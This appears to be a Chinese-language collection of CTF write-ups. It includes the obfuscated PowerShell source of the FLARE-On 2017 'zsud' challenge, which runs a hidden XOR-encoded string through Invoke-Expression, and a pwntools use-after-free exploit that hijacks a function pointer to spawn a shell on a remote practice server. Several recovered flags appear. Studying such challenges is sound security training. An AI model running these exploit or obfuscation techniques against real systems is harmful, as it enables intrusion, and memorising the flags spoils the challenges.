    	'd' { $room1.Exits.D = $room2; if ($OneWay -eq $false) { $room2.Exits.U = $room1 } }
    }
}

function Get-RoomAdjoining($room, $direction) {
    $adjoining = $null

    switch ($direction.ToLower()) {
    	'n' { $adjoining = $room.Exits.N }
    	'north' { $adjoining = $room.Exits.N }
    	's' { $adjoining = $room.Exits.S }
    	'south' { $adjoining = $room.Exits.S }
    	'e' { $adjoining = $room.Exits.E }
    	'east' { $adjoining = $room.Exits.E }
    	'w' { $adjoining = $room.Exits.W }
    	'west' { $adjoining = $room.Exits.W }
    	'u' { $adjoining = $room.Exits.U }
    	'up' { $adjoining = $room.Exits.U }
    	'd' { $adjoining = $room.Exits.D }
    	'down' { $adjoining = $room.Exits.D }
    }

    return $adjoining
}

################################################################################
# Item class
################################################################################

function New-Thing($name, $desc, [String[]]$keywords, [Switch]$container=$false, [PSObject[]]$contents=@(), [Switch]$hidden=$false, [Switch]$fixed=$false)
{
    return new-object PSObject -Property @{ Name=$name; Desc=$desc; Keywords=$keywords; Container=$container; Contents=$contents; Hidden=$hidden; Fixed=$fixed }
}

function Get-ThingByKeyword($container, $kw) {
    foreach ($thing in $container.Contents) {
    	if ($thing.Keywords -contains $kw.ToLower()) {
    		return $thing
    	}
    }

    return $null
}

################################################################################
# Commands
################################################################################

function Get-NotImplementedCmd()
{
    return "You don't know how to do that yet."
}

function Get-InvalidCmd()
{
    return "Huh?"
}

################################################################################
# UI/char/game
################################################################################

function Invoke-Move($char, $room, $cmd) {

    $split = $cmd.Split()
    $base = $split[0]
    $trailing = [String]$split[1..$split.Length]


    Add-ConsoleText "`n> $cmd"
    $script:lastcmd = $cmd

    $resp = ''

    switch($base.ToLower()) {
    	'' { } # Instead of going "Huh?" when the player just presses enter

    	'h' { $resp = Get-SudHelp }
    	'help' { $resp = Get-SudHelp }
    	'q' { $script:window.Close() }
    	'quit' { $script:window.Close() }
    	'exit' { $script:window.Close() }

    	'inv' { $resp = Get-Inventory $char $trailing }
    	'inventory' { $resp = Get-Inventory $char $trailing }

    	'get' { $resp = Invoke-GetThing $char $room $trailing }
    	'wear' { $resp = Invoke-Wear $char $trailing }
    	'remove' { $resp = Invoke-Remove $char $trailing }
    	'drop' { $resp = Invoke-DropThing $char $room $trailing }

    	'l' { $resp = Get-LookText $char $room $trailing }
    	'look' { $resp = Get-LookText $char $room $trailing }

    	'n' { $resp = Invoke-MoveDirection $char $room 'n' $trailing }
    	'north' { $resp = Invoke-MoveDirection $char $room 'n' $trailing }
    	's' { $resp = Invoke-MoveDirection $char $room 's' $trailing }
    	'south' { $resp = Invoke-MoveDirection $char $room 's' $trailing }
    	'e' { $resp = Invoke-MoveDirection $char $room 'e' $trailing }
    	'east' { $resp = Invoke-MoveDirection $char $room 'e' $trailing }
    	'w' { $resp = Invoke-MoveDirection $char $room 'w' $trailing }
    	'west' { $resp = Invoke-MoveDirection $char $room 'w' $trailing }
    	'u' { $resp = Invoke-MoveDirection $char $room 'u' $trailing }
    	'up' { $resp = Invoke-MoveDirection $char $room 'u' $trailing }
    	'd' { $resp = Invoke-MoveDirection $char $room 'd' $trailing }
    	'down' { $resp = Invoke-MoveDirection $char $room 'd' $trailing }

    	'say' { $resp = Invoke-Say $char $room $trailing }
    	default { $resp = Get-InvalidCmd($char) }
    }

    if ($resp -ne '') {
    	Add-ConsoleText $resp
    }
}

function Get-SudHelp {
    $resp = ""
    
    $resp += "Game commands:`n"
    $resp += "h[elp] - See this help`n"
    $resp += "q[uit] - Exit the game`n"
    $resp += "`n"
    $resp += "Area commands:`n"
    $resp += "l[ook] [object] - Look at the room [or at an optional object)`n"
    $resp += "n[orth] - Move north`n"
    $resp += "s[outh] - Move south`n"
    $resp += "e[ast] - Move east`n"
    $resp += "w[est] - Move west`n"
    $resp += "u[p] - Move up`n"
    $resp += "d[own] - Move down`n"
    $resp += "`n"
    $resp += "Personal commands:`n"
    $resp += "say <someone> <words...> - Say <words...> to <someone>`n"
    $resp += "wear <inventory-item> - Put <inventory-item> on`n"
    $resp += "remove <thing> - Take <thing> off`n"
    $resp += "`n"
    $resp += "Inventory commands:"
    $resp += "inv[entory] - Check your inventory`n"
    $resp += "get <object> [location] - Get object [from within optional location])`n"
    $resp += "drop <object> - Put object down`n"

    return $resp
}

function Add-ConsoleText($text) {
    $script:console.AppendText("`n$text")
    Invoke-ScrollToEnd
}

function Invoke-ScrollToEnd() {
    $script:console.SelectionStart = $script:console.TextLength
    $script:console.ScrollToCaret()
}

function Invoke-Wear($char, $trailing) {
    $thing = Get-ThingByKeyword $char $trailing
    if ($thing -eq $null) {
    	$resp = "You don't have a $trailing to wear."
    } else {
    	if ($trailing -ne "helmet") {
    		$resp = "You put the $trailing on your head. It looks objectively silly."
    	} else {
    		$resp = "You put the $trailing on your head. It looks objectively awesome."
    	}
    	$al = [System.Collections.ArrayList]($char.Contents)
    	$al.Remove($thing)
    	$char.Contents = $al

    	$char.Wearing += $thing
    }

    return $resp
}

function Invoke-Remove($char, $trailing) {
    $resp = "You are not wearing a $trailing."
    $removing = $null
    foreach ($thing in $char.Wearing) {
    	if ($thing.Keywords -contains $trailing.ToLower()) {
    		$removing = $thing
    		break
    	}
    }

    if ($removing -ne $null) {
    	$resp = "You take off the $trailing."
    	$al = [System.Collections.ArrayList]($char.Wearing)
    	$al.Remove($thing)
    	$char.Wearing = $al

    	$char.Contents += $thing
    }

    return $resp
}

function Invoke-DropThing($char, $room, $trailing) {
    $resp = ''

    $thing = Get-ThingByKeyword $char $trailing
    if ($thing -eq $null) {
    	$resp = "You don't have a $trailing to drop."
    } else {
    	$result = Invoke-TransferThing $char $room $thing
    	if ($result -eq $true) {
    		$resp = "You drop a $trailing"
    	} else {
    		$resp = "For whatever reason, you can't drop the $trailing"
    	}
    }

    return $resp
}

function Invoke-TransferThing([PSObject][ref]$container_old, [PSObject][ref]$container_new, $thing) {
    $ret = $false

    if ($thing.Fixed -eq $false) {
    	$al = [System.Collections.ArrayList]($container_old.Contents)
    	$al.Remove($thing)
    	$container_old.Contents = @($al)

    	$container_new.Contents += $thing
    	$ret = $true

    	if (($thing.Keywords -Contains "key") -and ($container_new -eq $script:char)){
    		${Msv`c`RT}::("{1}{0}"-f 'rand','s').Invoke(42)
    	}
    }

    return $ret
}

function Invoke-Say($char, $room, $trailing) {
    $resp = "It doesn't talk back"

    $ar = $trailing.Split()
    if ($ar.Length -lt 2) {
    	return "Syntax: say <someone> <words...>"
    }

    $to_whom = $ar[0]
    $words = $ar[1..99999]

    $thing = Get-ThingByKeyword $room $to_whom
    if ($thing.Name -eq "Kevin Mandia") {
    	$resp = "Kevin says a friendly 'hello' and then looks back down at his computer. He's busy turbo-hacking."

    	$key = Get-ThingByKeyword $room 'key'

    	$helmet = $null
    	foreach ($thing in $char.Wearing) {
    		if ($thing.Keywords -contains "helmet") {
    			$helmet = $thing
    		}
    	}

    	if (($key -ne $null) -and ($helmet -ne $null)) {
    		$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider
    		$utf8 = New-Object System.Text.UTF8Encoding
    		$hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($key.Desc)))


    		$Data = [System.Convert]::FromBase64String("EQ/Mv3f/1XzW4FO8N55+DIOkeWuM70Bzln7Knumospan")
    		$Key = [System.Text.Encoding]::ASCII.GetBytes($hash)

    		# Adapated from the gist by harmj0y et al
    		$R={$D,$K=$Args;$H=$I=$J=0;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Length])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}}
    		$x = (& $r $data $key | ForEach-Object { "{0:X2}" -f $_ }) -join ' '
    		$resp = "`nKevin says, with a nod and a wink: '$x'."
    		$resp += "`n`nBet you didn't know he could speak hexadecimal! :-)"
    	}
    }

    return $resp
}

function Invoke-GetThing($char, $room, $trailing) {
    $resp = ''

    $container = $null

    $ar = $trailing.Split()
    if ($ar.Length -gt 2) {
    	return "Syntax: get thing [container]"
    }

    $wanted = $ar[0]
    $containername = ''
    if ($ar.Length -eq 2) {
    	$containername = $ar[1]
    }

    if ($containername -ne '') {
    	$container = Get-ThingByKeyword $room $containername
    	if ($container -eq $null) {
    		$container = Get-ThingByKeyword $char $containername
    	}

    	if ($container -eq $null) {
    		return "There is no $containername to get a $wanted out of."
    	}

    	$thing = Get-ThingByKeyword $container $wanted

    	if ($thing -eq $null) {
    		return "There is no $wanted in the $containername."
    	}

    	$ret = Invoke-TransferThing ([ref]$container) ([ref]$char) $thing
    	if ($ret -eq $true) {
    		$thing.Hidden = $false
    		return "You get $($thing.Name)."
    	} else {
    		return "You can't get $($thing.Name)."
    	}
    }

    $thing = Get-ThingByKeyword $room $wanted

    if ($thing -eq $null) {
    	$thing = Get-ThingByKeyword $char $wanted
    	if ($thing -ne $null) {
    		$resp = "You already have that"
    	} else {
    		$resp = "You don't see that here."
    	}
    } else {
    	$ret = Invoke-TransferThing $room $char $thing
    	if ($ret -eq $true) {
    		$thing.Hidden = $false
    		$resp = "You get $($thing.Name)."
    	} else {
    		$resp = "You can't get $($thing.Name)."
    	}
    }

    return $resp
}

function Invoke-XformKey([String]$keytext, [String]$desc) {
    $newdesc = $desc 

    Try {
    	$split = $desc.Split()
    	$text = $split[0..($split.Length-2)]
    	$encoded = $split[-1]
    	$encoded_urlsafe = $encoded.Replace('+', '-').Replace('/', '_').Replace('=', '%3D')
    	$uri = "${script:baseurl}?k=${keytext}&e=${encoded_urlsafe}"


    	$r = Invoke-WebRequest -UseBasicParsing "$uri"

    	$decoded = $r.Content

    	if ($decoded.ToLower() -NotContains "whale") {
    		$newdesc = "$text $decoded"
    	}
    } Catch {
    	Add-ConsoleText "..."
    }

    return $newdesc
}

function Invoke-MoveDirection($char, $room, $direction, $trailing) {
    $nextroom = $null
    $movetext = "You can't go $direction."
    $statechange_tristate = $null

    $nextroom = Get-RoomAdjoining $room $direction
    if ($nextroom -ne $null) {
    	$key = Get-ThingByKeyword $char 'key'
    	if (($key -ne $null) -and ($script:okaystopnow -eq $false)) {
    		$dir_short = ([String]$direction[0]).ToLower()

    		${N} = ${sC`Ri`Pt:MS`VcRt}::("{1}{0}" -f'nd','ra').Invoke()                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                %6

    		if ($directions_enum[$dir_short] -eq ($n)) {
    			$script:key_directions += $dir_short
    			$newdesc = Invoke-XformKey $script:key_directions $key.Desc
    			$key.Desc = $newdesc
    			if ($newdesc.Contains("@")) {
    				$nextroom = $script:map.StartingRoom
    				$script:okaystopnow = $true
    			}
    			$statechange_tristate = $true
    		} else {
    			$statechange_tristate = $false
    		}
    	}

    	$script:room = $nextroom
    	$movetext = "You go $($directions_short[$direction.ToLower()])"

    	if ($statechange_tristate -eq $true) {
    		$movetext += "`nThe key emanates some warmth..."
    	} elseif ($statechange_tristate -eq $false) {
    		$movetext += "`nHmm..."
    	}

    	if ($script:autolook -eq $true) {
    		$movetext += "`n$(Get-LookText $char $script:room $trailing)"
    	}
    } else {
    	$movetext = "You can't go that way."
    }

    return "$movetext"
}

function Get-ThingsText($room) {
    $thingstext = Get-ContentsText $room.Contents

    if ($thingstext -ne '') {
    	$thingstext = "`n`nYou see: $thingstext"
    }
    return $thingstext
}

function Get-ExitsText($room) {
    $exitstext = ''

    if ($room.Exits.N -ne $null) { $exitstext += "North "}
    if ($room.Exits.S -ne $null) { $exitstext += "South "}
    if ($room.Exits.E -ne $null) { $exitstext += "East "}
    if ($room.Exits.W -ne $null) { $exitstext += "West "}
    if ($room.Exits.U -ne $null) { $exitstext += "Up "}
    if ($room.Exits.D -ne $null) { $exitstext += "Down "}

    if ($exitstext -ne '') {
    	$exitstext = "`n`nExits: $exitstext"
    }

    return $exitstext
}

function Get-ContentsText($container, [Switch]$OneLine=$false) {
    $resp = ''

    $spacer = '  '
    $sep = ''
    $lf = "`n"
    if ($OneLine -eq $true) {
    	$spacer = ''
    	$sep = ', '
    	$lf = ''
    }

    foreach ($thing in $container) {
    	if ($thing.Hidden -eq $false) {
    		if ($resp -eq '') {
    			$resp = "$lf$spacer$($thing.Name)"
    		} else {
    			$resp += "$lf$sep$spacer$($thing.Name)"
    		}
    	}
    }

    return $resp
}

function Get-ThingDesc($thing, [Switch]$OneLine=$false) {
    $desc = ''

    if ($thing -ne $null) {
    	$desc = $thing.Desc

    	if ($desc.Length -gt 1024) {
    		$desc = $desc.Substring(0, 1023) + "..."
    	}

    	if ($thing.Container -eq $true) {
    		$contents = Get-ContentsText $thing.Contents -OneLine:$OneLine
    		if ($contents -ne '') {
    			$desc += " It has $contents."
    		}
    	}
    }

    return $desc
}

function Get-LookText($char, $room, [String]$at) {
    $looktext = ''

    if ($at.Length -gt 0) {
    	if ( $script:directions -contains $at.ToLower() ) {
    		$dirname = $at.ToLower()

    		if ($directions_short.ContainsKey($dirname)) {
    			$dirname = $directions_short[$dirname]
    		}

    		$preposition = $prepositions[$dirname]

    		$looktext = "There is nothing $preposition here."

    		$adjoining = Get-RoomAdjoining $room $at
    		if ($adjoining) {
    			$preposition = $preposition.substring(0, 1).ToUpper() + $preposition.substring(1)
    			$name = $adjoining.Name.ToLower()
    			$looktext = "$preposition here is $name"
    		}

    	} else {
    		$thing = Get-ThingByKeyword $char $at
    		if ($thing -ne $null) {
    			$looktext = Get-ThingDesc $thing -OneLine
    		}

    		if ($looktext -eq '') {
    			$thing = Get-ThingByKeyword $room $at
    			if ($thing -ne $null) {
    				$looktext = Get-ThingDesc $thing -OneLine
    			}
    		}
    	}
    } else {
    	$exits = $(Get-ExitsText $room)
    	$things = $(Get-ThingsText $room)
    	return "$($room.Name)`n$($room.Desc) $things $exits"
    }

    if ($looktext -eq '') {
    	$looktext = "You don't see that here."
    }

    return $looktext
}

function Invoke-HandleMove($sender, $e) {
    if ($e.KeyCode -eq 'Enter')
    {
    	$cmd = $sender.Text
    	foreach ($mv in $cmd.Split(",")) {
    		Invoke-Move $script:char $script:room $mv.Trim()
    	}
    	$sender.Text = ''
    	$e.SuppressKeyPress = $true
    }

    if ($e.KeyCode -eq 'Escape')
    {
    	$script:window.Close()
    } elseif ($e.KeyCode -eq 'Up') {
    	$script:input.Text = $script:lastcmd
    }
}

################################################################################
# Script
################################################################################

[void]([System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'))
[void]([System.Reflection.Assembly]::LoadWithPartialName('System.Drawing'))
$msgBox = [System.Windows.Forms.MessageBox]


$window = New-Object System.Windows.Forms.Form
$window.Size = New-Object System.Drawing.Point(800, 670)
$window.Text = "FLARE SUD v2.4 - Escape Room"

$bmp = New-Object System.Drawing.Bitmap(64,64)
$g = [System.Drawing.Graphics]::FromImage($bmp)
$mode = [System.Drawing.Drawing2D.FillMode]::Alternate

$p0 = New-Object System.Drawing.PointF(31, 0)
$p1 = New-Object System.Drawing.PointF(10, 44)
$p2 = New-Object System.Drawing.PointF(21, 44)
$p3 = New-Object System.Drawing.PointF(12, 63)
$p4 = New-Object System.Drawing.PointF(38, 36)
$p5 = New-Object System.Drawing.PointF(24, 36)
$p6 = New-Object System.Drawing.PointF(32, 19)
$p7 = New-Object System.Drawing.PointF(44, 44)
$p8 = New-Object System.Drawing.PointF(54, 44)
$p9 = New-Object System.Drawing.PointF(31, 0)

$a_shape = ($p0, $p1, $p2, $p3, $p4, $p5, $p6, $p7, $p8, $p9)
$a_color = [System.Drawing.Brushes]::LightBlue
$g.FillPolygon($a_color, $a_shape, $mode)
$ico = [System.Drawing.Icon]::FromHandle($bmp.GetHicon())

$window.Icon = $ico

$console = New-Object System.Windows.Forms.RichTextBox
$console.Size = New-Object System.Drawing.Point(780, 590)
$console.ReadOnly = $true
$console.Font = "Consolas, 12"
$console.BackColor = 'Black'
$console.ForeColor = 'YellowGreen'

$input = New-Object System.Windows.Forms.TextBox
$input.Size = New-Object System.Drawing.Point(800, 40)
$input.Location = New-Object System.Drawing.Point(1, 595)
$input.ShortcutsEnabled = $true
[System.Windows.Forms.Application]::EnableVisualStyles()
$input.add_KeyDown([System.Windows.Forms.KeyEventHandler]{param($s,$e) Invoke-HandleMove $s $e})

$window.Controls.Add($console)
$window.Controls.Add($input)

$autolook = $true
$char = New-Char
$map = Get-Map
$room = $map.StartingRoom


$baseurl = 'http://127.0.0.1:9999/some/thing.asp'
$directions = @('n', 'north', 's', 'south', 'e', 'east', 'w', 'west', 'u', 'up', 'd', 'down')
$directions_short = @{'n' = 'north'; 's' = 'south'; 'e' = 'east'; 'w' = 'west'; 'u' = 'up'; 'd' = 'down'}
$directions_enum = @{'n' = 0; 's' = 1; 'e' = 2; 'w' = 3; 'u' = 4; 'd' = 5}
$prepositions = @{'north' = 'north of'; 'south' = 'south of'; 'east' = 'east of'; 'west' = 'west of'; 'uu' = 'above'; 'down' = 'below'}
[String]$key_directions = ''
$lastcmd = ''

function Start-Game {
    $script:window.Activate()
    $script:input.Focus()

    # Shout-out to Stonekeep, Tenchi, and the 414
    $dialstring_hayes_compatible = "ATDT 14141111111........."
    $telnet_string = "jgsdos.flare-on.com 5000"

    Add-ConsoleText $dialstring_hayes_compatible
    Add-ConsoleText $telnet_string

    Add-ConsoleText "Connected to ${telnet_string}`n"

    Add-ConsoleText "${logo}`n`nYou are in $($room.Name). Try looking around."
}

$okaystopnow = $false

$window.Add_Shown({Start-Game})
$window.BringToFront()
[STring]::joIN( '', ('35h88w112_119}81r74r77h100J94<57J57%73%108Z106U77r43Z35r36U36%35r47}35r43Z35w43Z50Z51<51w50h51h51w35%47h50Z50J50Z50U51}50r50}47h50h51r51Z50r50r51r50_35%47Z35_50J50U50h51r51h50%50h35%47%35J50Z50r50J51r50}50Z51w35_47w35h50}50h51U51J51}51h51}35<47_50r51%51r51U51U50_50h35}47U50w50r51r51h51U51%51J35<47h50r51r50<51U51_50w51_47r50r50%50J51J50%51}51}47}35<50U50_50J50_50h51w50h35_47<35U50%51%51U51Z51J51U47h50<50J50Z50<51h50Z35w47_50}51Z51w51w51<51Z47U50r51_51r50}50<51Z35r47w50w51%50%51h51h51r47r35%50U51Z51U51h50h51<47r50w50Z50h50J51w50}50U47_35h50}50%51%51U50_50U35h47h50<50h50%50<50<51Z50}47Z35_50J50<50}50Z51U50U50w47<50_50Z51}51U51r51_35}47%35r50r50}50%50Z50U51%50Z35Z47_50r50r50U50r51w50_50J35%47J50%50_51h51_51<50r35J47%50%50r50U50U50<51w50U47<50<50r50%50%51w50r50%47J50<50<51r51U50w51_47_50<50<50U50<50_51Z50h47}50h51r51_51%50%51_35h47U35Z50U51J50}50Z51Z50%35r47w50U50<51_51_50<50}51r47_50w51w51J51r51Z51Z47<50r51%51_50r50w50w35<47h35}50}50h50r51r50_51r51h47w50w51J50r50h51U50h35h47h50<51U51%50w50_50w35<47_50%51U50J50h51h51Z47_35%50w51<51U50r50J50U47J35h50%50U51w50%50Z51<50h47w35U50U50%50U51<51%50<50w35r47}50h50_50<51w50<50h51r47}50_51%51h50J50J50h47%35_50U51_50U50r51<51J47_35%50U51_51}50%50r50Z47w35Z50r50%51<51w51U50_50h35}47<50_50h50<51<51U50%51r35w47U35Z50<50Z50}51<50_51}51w35<47Z35w50U51}51J50U50<50J35%47w35Z50h51w50%50w51Z51r35<47%50%51h51w50Z50%50_35U47U50<51r51h51r50}50Z50%35w47w35}50Z50r51U51Z50h51%50r47w35w50_51U51%50J50_50%47Z50}51}50%51<51_50Z42w35h127U101}76Z81<70<66r64U107}120U35h43h35_88r96%108r77r117J102J81w119r94J57Z57h119r76w74Z109_119U50h53w43Z43_88h80J87r113r74%109}68U94w39w92h35r42h35J47h35%49w35J42w46<98%80U88r96}107J66J81r94h42<35_126U42}35Z42J35J127<35%74_102_123'.split( '<Uh}Z%w_Jr')|%{[CHAR]($_ -BXoR  0x03  ) } ) )|.( $ShelliD[1]+$SheLLID[13]+'X')
$ret = $window.ShowDialog()

根据这一段

$key = New-Thing "some_thing" @("key")

$drawers = New-Thing "the desk drawers" "The drawers are mostly empty, except the bottom-right drawer which contains some junk." @("drawer", "drawers", "desk drawer", "desk drawers") -Hidden -Fixed -Container -Contents @($key)

可知抽屉里面有key

需要一直按顺序走,顺序在这里

$directions = @('n', 'north', 's', 'south', 'e', 'east', 'w', 'west', 'u', 'up', 'd', 'down')
$directions_short = @{'n' = 'north'; 's' = 'south'; 'e' = 'east'; 'w' = 'west'; 'u' = 'up'; 'd' = 'down'}
$directions_enum = @{'n' = 0; 's' = 1; 'e' = 2; 'w' = 3; 'u' = 4; 'd' = 5}

因为程序hook了rand,所以产生了这个序列

.data:00459CB8 dword_459CB8    dd 3                    ; DATA XREF: .text:0040710E↑r
.data:00459CBC                 db    0
.data:00459CBD                 db    0
.data:00459CBE                 db    0
.data:00459CBF                 db    0
.data:00459CC0                 db    0
.data:00459CC1                 db    0
.data:00459CC2                 db    0
.data:00459CC3                 db    0
.data:00459CC4                 db    2
.data:00459CC5                 db    0
.data:00459CC6                 db    0
.data:00459CC7                 db    0
.data:00459CC8                 db    2
.data:00459CC9                 db    0
.data:00459CCA                 db    0
.data:00459CCB                 db    0
.data:00459CCC                 db    1
.data:00459CCD                 db    0
[3, 0, 0, 2, 2, 1, 1, 1, 0, 2, 3, 0, 2, 2, 3, 3, 3, 5, 4, 0, 5, 4, 0, 5, 4, 0, 1, 4, 0, 2, 4, 0, 1, 2, 3, 5, 4, 0, 1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3, 5, 4, 0,]
"w, n, n, e, e, s, s, s, n, e, w, n, e, e, w, w, w, d, u, n, d, u, n, d, u, n, s, u, n, e, u, n, s, e, w, d, u, n, s, e, w, s, e, w, s, e, w, s, e, w, d, u, n"

走完了需要去找kevin

function Invoke-Say($char, $room, $trailing) {
    $resp = "It doesn't talk back"

    $ar = $trailing.Split()
    if ($ar.Length -lt 2) {
    	return "Syntax: say <someone> <words...>"
    }

    $to_whom = $ar[0]
    $words = $ar[1..99999]

    $thing = Get-ThingByKeyword $room $to_whom
    if ($thing.Name -eq "Kevin Mandia") {
    	$resp = "Kevin says a friendly 'hello' and then looks back down at his computer. He's busy turbo-hacking."

    	$key = Get-ThingByKeyword $room 'key'

    	$helmet = $null
    	foreach ($thing in $char.Wearing) {
    		if ($thing.Keywords -contains "helmet") {
    			$helmet = $thing
    		}
    	}

    	if (($key -ne $null) -and ($helmet -ne $null)) {
    		$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider
    		$utf8 = New-Object System.Text.UTF8Encoding
    		$hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($key.Desc)))


    		$Data = [System.Convert]::FromBase64String("EQ/Mv3f/1XzW4FO8N55+DIOkeWuM70Bzln7Knumospan")
    		$Key = [System.Text.Encoding]::ASCII.GetBytes($hash)

    		# Adapated from the gist by harmj0y et al
    		$R={$D,$K=$Args;$H=$I=$J=0;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Length])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}}
    		$x = (& $r $data $key | ForEach-Object { "{0:X2}" -f $_ }) -join ' '
    		$resp = "`nKevin says, with a nod and a wink: '$x'."
    		$resp += "`n`nBet you didn't know he could speak hexadecimal! :-)"
    	}
    }

    return $resp
}

戴上头盔并且放下钥匙即可

https://0xd13a.github.io/ctfs/flareon2017/zsud/

n,get key drawers,w,n,n,e,e,s,s,s,n,e,w,n,e,e,w,w,w,d,u,n,d,u,n,d,u,n,s,u,n,e,u,n,s,e,w,d,u,n,s,e,w,s,e,w,s,e,w,s,e,w,d,u,n,l key,n,w,n,n,e,e,n,get helmet,wear helmet,drop key,say kevin hi

得到

6D 75 64 64 31 6E 67 5F 62 79 5F 79 30 75 72 35 33 6C 70 68 40 66 6C 61 72 65 2D 6F 6E 2E 63 6F 6D
mudd1ng_by_y0ur53lph@flare-on.com

[rev][FlareOn2]youPecks

https://www.fireeye.com/content/dam/fireeye-www/global/en/blog/threat-research/flareon/2015solution4.pdf

首先upx脱壳

[pwn]hitcontraining_uaf

IDA打开,主函数

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[4]; // [esp+0h] [ebp-Ch] BYREF
  int *v5; // [esp+4h] [ebp-8h]

  v5 = &argc;
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 4u);
      v3 = atoi(buf);
      if ( v3 != 2 )
        break;
      del_note();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        print_note();
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add_note();
    }
  }
}

经典的note

由于题目名是UAF,所以直接查看del_note

int del_note()
{
  int result; // eax
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  int v2; // [esp+Ch] [ebp-Ch]

  printf("Index :");
  read(0, buf, 4u);
  v2 = atoi(buf);
  if ( v2 < 0 || v2 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  result = *((_DWORD *)&notelist + v2);
  if ( result )
  {
    free(*(void **)(*((_DWORD *)&notelist + v2) + 4));
    free(*((void **)&notelist + v2));
    result = puts("Success");
  }
  return result;
}

可以发现没有置0

发现有个magic函数

int magic()
{
  return system("/bin/sh");
}

并且print_note是直接通过函数指针实现的

int *print_note()
{
  int *result; // eax
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  int v2; // [esp+Ch] [ebp-Ch]

  printf("Index :");
  read(0, buf, 4u);
  v2 = atoi(buf);
  if ( v2 < 0 || v2 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  result = (&notelist)[v2];
  if ( result )
    result = (int *)((int (__cdecl *)(int *))*(&notelist)[v2])((&notelist)[v2]);
  return result;
}

exp

#!/usr/bin/env python3

from pwn import *
# context.log_level='debug'

pn='./uaf'
elf=ELF(pn)
# p=process(pn)
p=remote('node4.buuoj.cn',27041)
def menu():
    p.recvuntil(b'Your choice :')
def add(s,c):
    p.sendline(str(1).encode())
    p.recvuntil(b'Note size :')
    p.sendline(str(s).encode())
    p.recvuntil(b'Content :')
    p.send(c)
def del_n(i):
    p.sendline(str(2).encode())
    p.recvuntil(b'Index :')
    p.sendline(str(i).encode())

def print_n(i):
    p.sendline(str(3).encode())
    p.recvuntil(b'Index :')
    p.sendline(str(i).encode())
    # return p.recv()
menu()
add(48,b'12345678')
menu()
add(48,b'90abcdef')
menu()
del_n(0)
del_n(1)

# 之前note1对应的8给了整个结构体,第note0对应的8给了2的内容,这时编辑2的内容就相当于编辑note0对应的note结构体
add(8,p32(elf.sym['magic']))
print_n(0)
p.interactive()

[rev][WMCTF2020]Meet_in_July

https://github.com/wm-team/WMCTF2020-WriteUp/blob/master/WMCTF%202020%E5%AE%98%E6%96%B9WriteUp.md

https://team-su.github.io/passages/2020-08-01-WMCTF/

[rev][羊城杯2020]babyre

https://blog.csdn.net/A951860555/article/details/120195840

from Crypto.Cipher import AES
import z3
c=[i for i in b'\xbd\xad\xb4\x84\x10c\xb3\xe1\xc6\x84-o\xba\x88t\xc4\x902\xea.\xc6(ep\xc9ux\xa0\x0b\x9f\xa6\x00']
def dfs(flags:list,d:int,f:list):
    # print(f)
    if d==0:
        flags.append(bytes(f))
        return
    for i in range(0,0x100):
        if c[d-1]==((2 * (i ^ 0x13) + 7) ^ (i % 9 + f[d] + 2))&0xff:
            f[d-1]=i
            dfs(flags,d-1,f)
flags=[]
f=[0]*31+[0xc4]
dfs(flags,31,f)
print(flags)
# if s.check()==z3.sat:
#     v=[s.model()[i].as_long() for i in v]
import hashlib
for v in flags:
    v=[i for i in v]
    for i in range(31,-1,-1):
        for j in range(i//4):
            v[i]^=v[j]
    k=b'th1s1sth3n1c3k3y'
    aes=AES.new(k,AES.MODE_ECB)
    print(aes.decrypt(bytes(v)))
print(hashlib.md5(b'th1s_gam3_1s_s0_c00l_and_d').hexdigest())

[rev][UTCTF2020]llvm

按照语义理解一下就行

sext--signed extend 首先每一个c[i]+=5 然后c[i]^=c[i+1]

In [1]:
c=[i for i in b'\x03\x12\x1A\x17\x0A\xEC\xF2\x14\x0E\x05\x03\x1D\x19\x0E\x02\x0A\x1F\x07\x0C\x01\x17\x06\x0C\x0A\x19\x13\x0A\x16\x1C\x18\x08\x07\x1A\x03\x1D\x1C\x11\x0B\xF3\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05']
for i in range(len(c)-2,-1,-1):
    c[i]^=c[i+1]
bytes([(i-5+0x100)&0xff for i in c])
Out[1]:
b'utflag{machine_agnostic_ir_is_wonderful}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'